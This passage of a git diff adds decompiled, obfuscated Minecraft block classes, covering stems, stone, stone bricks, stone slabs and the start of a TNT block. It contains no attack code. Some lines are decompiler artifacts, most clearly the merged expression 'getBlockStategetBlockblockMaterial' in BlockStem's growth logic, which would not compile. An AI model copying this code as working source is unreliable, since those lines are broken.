+            if ((worldIn.isAirBlock(var10.offsetUp())) && (getCanBlockBurn(worldIn, var10)))
+            {
+              worldIn.setBlockState(var10.offsetUp(), Blocks.fire.getDefaultState());
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  protected boolean isSurroundingBlockFlammable(World worldIn, BlockPos p_176369_2_)
+  {
+    EnumFacing[] var3 = EnumFacing.values();
+    int var4 = var3.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      EnumFacing var6 = var3[var5];
+      
+      if (getCanBlockBurn(worldIn, p_176369_2_.offset(var6)))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  private boolean getCanBlockBurn(World worldIn, BlockPos p_176368_2_)
+  {
+    return worldIn.getBlockState(p_176368_2_).getBlock().getMaterial().getCanBurn();
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStem.java b/src/minecraft/net/minecraft/block/BlockStem.java
new file mode 100644
index 0000000..00dbbfb
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStem.java
@@ -0,0 +1,264 @@
+package net.minecraft.block;
+
+import com.google.common.base.Predicate;
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockStem extends BlockBush implements IGrowable
+{
+  public static final PropertyInteger AGE_PROP = PropertyInteger.create("age", 0, 7);
+  public static final PropertyDirection FACING_PROP = PropertyDirection.create("facing", new Predicate()
+  {
+    private static final String __OBFID = "CL_00002059";
+    
+    public boolean apply(EnumFacing p_177218_1_) {
+      return p_177218_1_ != EnumFacing.DOWN;
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return apply((EnumFacing)p_apply_1_);
+    }
+  });
+  
+
+
+
+  private final Block cropBlock;
+  
+
+
+
+  private static final String __OBFID = "CL_00000316";
+  
+
+
+
+  protected BlockStem(Block p_i45430_1_)
+  {
+    setDefaultState(blockState.getBaseState().withProperty(AGE_PROP, Integer.valueOf(0)).withProperty(FACING_PROP, EnumFacing.UP));
+    cropBlock = p_i45430_1_;
+    setTickRandomly(true);
+    float var2 = 0.125F;
+    setBlockBounds(0.5F - var2, 0.0F, 0.5F - var2, 0.5F + var2, 0.25F, 0.5F + var2);
+    setCreativeTab(null);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    state = state.withProperty(FACING_PROP, EnumFacing.UP);
+    Iterator var4 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var4.hasNext())
+    {
+      EnumFacing var5 = (EnumFacing)var4.next();
+      
+      if (worldIn.getBlockState(pos.offset(var5)).getBlock() == cropBlock)
+      {
+        state = state.withProperty(FACING_PROP, var5);
+        break;
+      }
+    }
+    
+    return state;
+  }
+  
+
+
+
+  protected boolean canPlaceBlockOn(Block ground)
+  {
+    return ground == Blocks.farmland;
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    super.updateTick(worldIn, pos, state, rand);
+    
+    if (worldIn.getLightFromNeighbors(pos.offsetUp()) >= 9)
+    {
+      float var5 = BlockCrops.getGrowthChance(this, worldIn, pos);
+      
+      if (rand.nextInt((int)(25.0F / var5) + 1) == 0)
+      {
+        int var6 = ((Integer)state.getValue(AGE_PROP)).intValue();
+        
+        if (var6 < 7)
+        {
+          state = state.withProperty(AGE_PROP, Integer.valueOf(var6 + 1));
+          worldIn.setBlockState(pos, state, 2);
+        }
+        else
+        {
+          Iterator var7 = EnumFacing.Plane.HORIZONTAL.iterator();
+          
+          while (var7.hasNext())
+          {
+            EnumFacing var8 = (EnumFacing)var7.next();
+            
+            if (worldIn.getBlockState(pos.offset(var8)).getBlock() == cropBlock)
+            {
+              return;
+            }
+          }
+          
+          pos = pos.offset(EnumFacing.Plane.HORIZONTAL.random(rand));
+          Block var9 = worldIn.getBlockState(pos.offsetDown()).getBlock();
+          
+          if ((getBlockStategetBlockblockMaterial == Material.air) && ((var9 == Blocks.farmland) || (var9 == Blocks.dirt) || (var9 == Blocks.grass)))
+          {
+            worldIn.setBlockState(pos, cropBlock.getDefaultState());
+          }
+        }
+      }
+    }
+  }
+  
+  public void growStem(World worldIn, BlockPos p_176482_2_, IBlockState p_176482_3_)
+  {
+    int var4 = ((Integer)p_176482_3_.getValue(AGE_PROP)).intValue() + MathHelper.getRandomIntegerInRange(rand, 2, 5);
+    worldIn.setBlockState(p_176482_2_, p_176482_3_.withProperty(AGE_PROP, Integer.valueOf(Math.min(7, var4))), 2);
+  }
+  
+  public int getRenderColor(IBlockState state)
+  {
+    if (state.getBlock() != this)
+    {
+      return super.getRenderColor(state);
+    }
+    
+
+    int var2 = ((Integer)state.getValue(AGE_PROP)).intValue();
+    int var3 = var2 * 32;
+    int var4 = 255 - var2 * 8;
+    int var5 = var2 * 4;
+    return var3 << 16 | var4 << 8 | var5;
+  }
+  
+
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    return getRenderColor(worldIn.getBlockState(pos));
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    float var1 = 0.125F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, 0.25F, 0.5F + var1);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    maxY = ((((Integer)access.getBlockState(pos).getValue(AGE_PROP)).intValue() * 2 + 2) / 16.0F);
+    float var3 = 0.125F;
+    setBlockBounds(0.5F - var3, 0.0F, 0.5F - var3, 0.5F + var3, (float)maxY, 0.5F + var3);
+  }
+  
+
+
+
+
+
+
+  public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune)
+  {
+    super.dropBlockAsItemWithChance(worldIn, pos, state, chance, fortune);
+    
+    if (!isRemote)
+    {
+      Item var6 = getSeedItem();
+      
+      if (var6 != null)
+      {
+        int var7 = ((Integer)state.getValue(AGE_PROP)).intValue();
+        
+        for (int var8 = 0; var8 < 3; var8++)
+        {
+          if (rand.nextInt(15) <= var7)
+          {
+            spawnAsEntity(worldIn, pos, new ItemStack(var6));
+          }
+        }
+      }
+    }
+  }
+  
+  protected Item getSeedItem()
+  {
+    return cropBlock == Blocks.melon_block ? Items.melon_seeds : cropBlock == Blocks.pumpkin ? Items.pumpkin_seeds : null;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return null;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    Item var3 = getSeedItem();
+    return var3 != null ? var3 : null;
+  }
+  
+  public boolean isStillGrowing(World worldIn, BlockPos p_176473_2_, IBlockState p_176473_3_, boolean p_176473_4_)
+  {
+    return ((Integer)p_176473_3_.getValue(AGE_PROP)).intValue() != 7;
+  }
+  
+  public boolean canUseBonemeal(World worldIn, Random p_180670_2_, BlockPos p_180670_3_, IBlockState p_180670_4_)
+  {
+    return true;
+  }
+  
+  public void grow(World worldIn, Random p_176474_2_, BlockPos p_176474_3_, IBlockState p_176474_4_)
+  {
+    growStem(worldIn, p_176474_3_, p_176474_4_);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(AGE_PROP, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(AGE_PROP)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { AGE_PROP, FACING_PROP });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStone.java b/src/minecraft/net/minecraft/block/BlockStone.java
new file mode 100644
index 0000000..cb2009b
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStone.java
@@ -0,0 +1,204 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.IStringSerializable;
+
+public class BlockStone extends Block
+{
+  public static final PropertyEnum VARIANT_PROP = PropertyEnum.create("variant", EnumType.class);
+  private static final String __OBFID = "CL_00000317";
+  
+  public BlockStone()
+  {
+    super(Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT_PROP, EnumType.STONE));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return state.getValue(VARIANT_PROP) == EnumType.STONE ? Item.getItemFromBlock(Blocks.cobblestone) : Item.getItemFromBlock(Blocks.stone);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).getMetaFromState();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumType[] var4 = EnumType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.getMetaFromState()));
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(VARIANT_PROP, EnumType.getStateFromMeta(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).getMetaFromState();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANT_PROP });
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    STONE("STONE", 0, 0, "stone"), 
+    GRANITE("GRANITE", 1, 1, "granite"), 
+    GRANITE_SMOOTH("GRANITE_SMOOTH", 2, 2, "smooth_granite", "graniteSmooth"), 
+    DIORITE("DIORITE", 3, 3, "diorite"), 
+    DIORITE_SMOOTH("DIORITE_SMOOTH", 4, 4, "smooth_diorite", "dioriteSmooth"), 
+    ANDESITE("ANDESITE", 5, 5, "andesite"), 
+    ANDESITE_SMOOTH("ANDESITE_SMOOTH", 6, 6, "smooth_andesite", "andesiteSmooth");
+    
+    private static final EnumType[] BLOCKSTATES;
+    private final int meta;
+    private final String name;
+    private final String field_176654_k;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002058";
+    
+    private EnumType(String p_i45680_1_, int p_i45680_2_, int p_i45680_3_, String p_i45680_4_)
+    {
+      this(p_i45680_1_, p_i45680_2_, p_i45680_3_, p_i45680_4_, p_i45680_4_);
+    }
+    
+    private EnumType(String p_i45681_1_, int p_i45681_2_, int p_i45681_3_, String p_i45681_4_, String p_i45681_5_)
+    {
+      meta = p_i45681_3_;
+      name = p_i45681_4_;
+      field_176654_k = p_i45681_5_;
+    }
+    
+    public int getMetaFromState()
+    {
+      return meta;
+    }
+    
+    public String toString()
+    {
+      return name;
+    }
+    
+    public static EnumType getStateFromMeta(int p_176643_0_)
+    {
+      if ((p_176643_0_ < 0) || (p_176643_0_ >= BLOCKSTATES.length))
+      {
+        p_176643_0_ = 0;
+      }
+      
+      return BLOCKSTATES[p_176643_0_];
+    }
+    
+    public String getName()
+    {
+      return name;
+    }
+    
+    public String func_176644_c()
+    {
+      return field_176654_k;
+    }
+    
+    static
+    {
+      BLOCKSTATES = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { STONE, GRANITE, GRANITE_SMOOTH, DIORITE, DIORITE_SMOOTH, ANDESITE, ANDESITE_SMOOTH };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        BLOCKSTATES[var3.getMetaFromState()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStoneBrick.java b/src/minecraft/net/minecraft/block/BlockStoneBrick.java
new file mode 100644
index 0000000..ed9a2bc
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStoneBrick.java
@@ -0,0 +1,183 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.IStringSerializable;
+
+public class BlockStoneBrick extends Block
+{
+  public static final PropertyEnum VARIANT_PROP = PropertyEnum.create("variant", EnumType.class);
+  public static final int DEFAULT_META = EnumType.DEFAULT.getMetaFromState();
+  public static final int MOSSY_META = EnumType.MOSSY.getMetaFromState();
+  public static final int CRACKED_META = EnumType.CRACKED.getMetaFromState();
+  public static final int CHISELED_META = EnumType.CHISELED.getMetaFromState();
+  private static final String __OBFID = "CL_00000318";
+  
+  public BlockStoneBrick()
+  {
+    super(Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT_PROP, EnumType.DEFAULT));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).getMetaFromState();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumType[] var4 = EnumType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.getMetaFromState()));
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(VARIANT_PROP, EnumType.getStateFromMeta(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).getMetaFromState();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANT_PROP });
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    DEFAULT("DEFAULT", 0, 0, "stonebrick", "default"), 
+    MOSSY("MOSSY", 1, 1, "mossy_stonebrick", "mossy"), 
+    CRACKED("CRACKED", 2, 2, "cracked_stonebrick", "cracked"), 
+    CHISELED("CHISELED", 3, 3, "chiseled_stonebrick", "chiseled");
+    
+    private static final EnumType[] TYPES_ARRAY;
+    private final int field_176615_f;
+    private final String field_176616_g;
+    private final String field_176622_h;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002057";
+    
+    private EnumType(String p_i45679_1_, int p_i45679_2_, int p_i45679_3_, String p_i45679_4_, String p_i45679_5_)
+    {
+      field_176615_f = p_i45679_3_;
+      field_176616_g = p_i45679_4_;
+      field_176622_h = p_i45679_5_;
+    }
+    
+    public int getMetaFromState()
+    {
+      return field_176615_f;
+    }
+    
+    public String toString()
+    {
+      return field_176616_g;
+    }
+    
+    public static EnumType getStateFromMeta(int p_176613_0_)
+    {
+      if ((p_176613_0_ < 0) || (p_176613_0_ >= TYPES_ARRAY.length))
+      {
+        p_176613_0_ = 0;
+      }
+      
+      return TYPES_ARRAY[p_176613_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176616_g;
+    }
+    
+    public String getVariantName()
+    {
+      return field_176622_h;
+    }
+    
+    static
+    {
+      TYPES_ARRAY = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { DEFAULT, MOSSY, CRACKED, CHISELED };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        TYPES_ARRAY[var3.getMetaFromState()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStoneSlab.java b/src/minecraft/net/minecraft/block/BlockStoneSlab.java
new file mode 100644
index 0000000..b769811
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStoneSlab.java
@@ -0,0 +1,276 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.World;
+
+public abstract class BlockStoneSlab extends BlockSlab
+{
+  public static final PropertyBool field_176555_b = PropertyBool.create("seamless");
+  public static final PropertyEnum field_176556_M = PropertyEnum.create("variant", EnumType.class);
+  private static final String __OBFID = "CL_00000320";
+  
+  public BlockStoneSlab()
+  {
+    super(Material.rock);
+    IBlockState var1 = blockState.getBaseState();
+    
+    if (isDouble())
+    {
+      var1 = var1.withProperty(field_176555_b, Boolean.valueOf(false));
+    }
+    else
+    {
+      var1 = var1.withProperty(HALF_PROP, BlockSlab.EnumBlockHalf.BOTTOM);
+    }
+    
+    setDefaultState(var1.withProperty(field_176556_M, EnumType.STONE));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(Blocks.stone_slab);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(Blocks.stone_slab);
+  }
+  
+
+
+
+  public String getFullSlabName(int p_150002_1_)
+  {
+    return super.getUnlocalizedName() + "." + EnumType.func_176625_a(p_150002_1_).func_176627_c();
+  }
+  
+  public IProperty func_176551_l()
+  {
+    return field_176556_M;
+  }
+  
+  public Object func_176553_a(ItemStack p_176553_1_)
+  {
+    return EnumType.func_176625_a(p_176553_1_.getMetadata() & 0x7);
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    if (itemIn != Item.getItemFromBlock(Blocks.double_stone_slab))
+    {
+      EnumType[] var4 = EnumType.values();
+      int var5 = var4.length;
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        EnumType var7 = var4[var6];
+        
+        if (var7 != EnumType.WOOD)
+        {
+          list.add(new ItemStack(itemIn, 1, var7.func_176624_a()));
+        }
+      }
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    IBlockState var2 = getDefaultState().withProperty(field_176556_M, EnumType.func_176625_a(meta & 0x7));
+    
+    if (isDouble())
+    {
+      var2 = var2.withProperty(field_176555_b, Boolean.valueOf((meta & 0x8) != 0));
+    }
+    else
+    {
+      var2 = var2.withProperty(HALF_PROP, (meta & 0x8) == 0 ? BlockSlab.EnumBlockHalf.BOTTOM : BlockSlab.EnumBlockHalf.TOP);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumType)state.getValue(field_176556_M)).func_176624_a();
+    
+    if (isDouble())
+    {
+      if (((Boolean)state.getValue(field_176555_b)).booleanValue())
+      {
+        var3 |= 0x8;
+      }
+    }
+    else if (state.getValue(HALF_PROP) == BlockSlab.EnumBlockHalf.TOP)
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return isDouble() ? new BlockState(this, new IProperty[] { field_176555_b, field_176556_M }) : new BlockState(this, new IProperty[] { HALF_PROP, field_176556_M });
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(field_176556_M)).func_176624_a();
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    STONE("STONE", 0, 0, "stone"), 
+    SAND("SAND", 1, 1, "sandstone", "sand"), 
+    WOOD("WOOD", 2, 2, "wood_old", "wood"), 
+    COBBLESTONE("COBBLESTONE", 3, 3, "cobblestone", "cobble"), 
+    BRICK("BRICK", 4, 4, "brick"), 
+    SMOOTHBRICK("SMOOTHBRICK", 5, 5, "stone_brick", "smoothStoneBrick"), 
+    NETHERBRICK("NETHERBRICK", 6, 6, "nether_brick", "netherBrick"), 
+    QUARTZ("QUARTZ", 7, 7, "quartz");
+    
+    private static final EnumType[] field_176640_i;
+    private final int field_176637_j;
+    private final String field_176638_k;
+    private final String field_176635_l;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002056";
+    
+    private EnumType(String p_i45677_1_, int p_i45677_2_, int p_i45677_3_, String p_i45677_4_)
+    {
+      this(p_i45677_1_, p_i45677_2_, p_i45677_3_, p_i45677_4_, p_i45677_4_);
+    }
+    
+    private EnumType(String p_i45678_1_, int p_i45678_2_, int p_i45678_3_, String p_i45678_4_, String p_i45678_5_)
+    {
+      field_176637_j = p_i45678_3_;
+      field_176638_k = p_i45678_4_;
+      field_176635_l = p_i45678_5_;
+    }
+    
+    public int func_176624_a()
+    {
+      return field_176637_j;
+    }
+    
+    public String toString()
+    {
+      return field_176638_k;
+    }
+    
+    public static EnumType func_176625_a(int p_176625_0_)
+    {
+      if ((p_176625_0_ < 0) || (p_176625_0_ >= field_176640_i.length))
+      {
+        p_176625_0_ = 0;
+      }
+      
+      return field_176640_i[p_176625_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176638_k;
+    }
+    
+    public String func_176627_c()
+    {
+      return field_176635_l;
+    }
+    
+    static
+    {
+      field_176640_i = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { STONE, SAND, WOOD, COBBLESTONE, BRICK, SMOOTHBRICK, NETHERBRICK, QUARTZ };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176640_i[var3.func_176624_a()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStoneSlabNew.java b/src/minecraft/net/minecraft/block/BlockStoneSlabNew.java
new file mode 100644
index 0000000..d9cb347
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStoneSlabNew.java
@@ -0,0 +1,251 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.World;
+
+public abstract class BlockStoneSlabNew extends BlockSlab
+{
+  public static final PropertyBool field_176558_b = PropertyBool.create("seamless");
+  public static final PropertyEnum field_176559_M = PropertyEnum.create("variant", EnumType.class);
+  private static final String __OBFID = "CL_00002087";
+  
+  public BlockStoneSlabNew()
+  {
+    super(Material.rock);
+    IBlockState var1 = blockState.getBaseState();
+    
+    if (isDouble())
+    {
+      var1 = var1.withProperty(field_176558_b, Boolean.valueOf(false));
+    }
+    else
+    {
+      var1 = var1.withProperty(HALF_PROP, BlockSlab.EnumBlockHalf.BOTTOM);
+    }
+    
+    setDefaultState(var1.withProperty(field_176559_M, EnumType.RED_SANDSTONE));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(Blocks.stone_slab2);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(Blocks.stone_slab2);
+  }
+  
+
+
+
+  public String getFullSlabName(int p_150002_1_)
+  {
+    return super.getUnlocalizedName() + "." + EnumType.func_176916_a(p_150002_1_).func_176918_c();
+  }
+  
+  public IProperty func_176551_l()
+  {
+    return field_176559_M;
+  }
+  
+  public Object func_176553_a(ItemStack p_176553_1_)
+  {
+    return EnumType.func_176916_a(p_176553_1_.getMetadata() & 0x7);
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    if (itemIn != Item.getItemFromBlock(Blocks.double_stone_slab2))
+    {
+      EnumType[] var4 = EnumType.values();
+      int var5 = var4.length;
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        EnumType var7 = var4[var6];
+        list.add(new ItemStack(itemIn, 1, var7.func_176915_a()));
+      }
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    IBlockState var2 = getDefaultState().withProperty(field_176559_M, EnumType.func_176916_a(meta & 0x7));
+    
+    if (isDouble())
+    {
+      var2 = var2.withProperty(field_176558_b, Boolean.valueOf((meta & 0x8) != 0));
+    }
+    else
+    {
+      var2 = var2.withProperty(HALF_PROP, (meta & 0x8) == 0 ? BlockSlab.EnumBlockHalf.BOTTOM : BlockSlab.EnumBlockHalf.TOP);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumType)state.getValue(field_176559_M)).func_176915_a();
+    
+    if (isDouble())
+    {
+      if (((Boolean)state.getValue(field_176558_b)).booleanValue())
+      {
+        var3 |= 0x8;
+      }
+    }
+    else if (state.getValue(HALF_PROP) == BlockSlab.EnumBlockHalf.TOP)
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return isDouble() ? new BlockState(this, new IProperty[] { field_176558_b, field_176559_M }) : new BlockState(this, new IProperty[] { HALF_PROP, field_176559_M });
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(field_176559_M)).func_176915_a();
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    RED_SANDSTONE("RED_SANDSTONE", 0, 0, "red_sandstone");
+    
+    private static final EnumType[] field_176921_b;
+    private final int field_176922_c;
+    private final String field_176919_d;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002086";
+    
+    private EnumType(String p_i45697_1_, int p_i45697_2_, int p_i45697_3_, String p_i45697_4_)
+    {
+      field_176922_c = p_i45697_3_;
+      field_176919_d = p_i45697_4_;
+    }
+    
+    public int func_176915_a()
+    {
+      return field_176922_c;
+    }
+    
+    public String toString()
+    {
+      return field_176919_d;
+    }
+    
+    public static EnumType func_176916_a(int p_176916_0_)
+    {
+      if ((p_176916_0_ < 0) || (p_176916_0_ >= field_176921_b.length))
+      {
+        p_176916_0_ = 0;
+      }
+      
+      return field_176921_b[p_176916_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176919_d;
+    }
+    
+    public String func_176918_c()
+    {
+      return field_176919_d;
+    }
+    
+    static
+    {
+      field_176921_b = new EnumType[values().length];
+      
+
+
+      $VALUES = new EnumType[] { RED_SANDSTONE };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176921_b[var3.func_176915_a()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockTNT.java b/src/minecraft/net/minecraft/block/BlockTNT.java
new file mode 100644
index 0000000..1c34f34
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockTNT.java
@@ -0,0 +1,159 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.item.EntityTNTPrimed;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.Explosion;
+import net.minecraft.world.World;
+
+public class BlockTNT extends Block
+{
+  public static final PropertyBool field_176246_a = PropertyBool.create("explode");
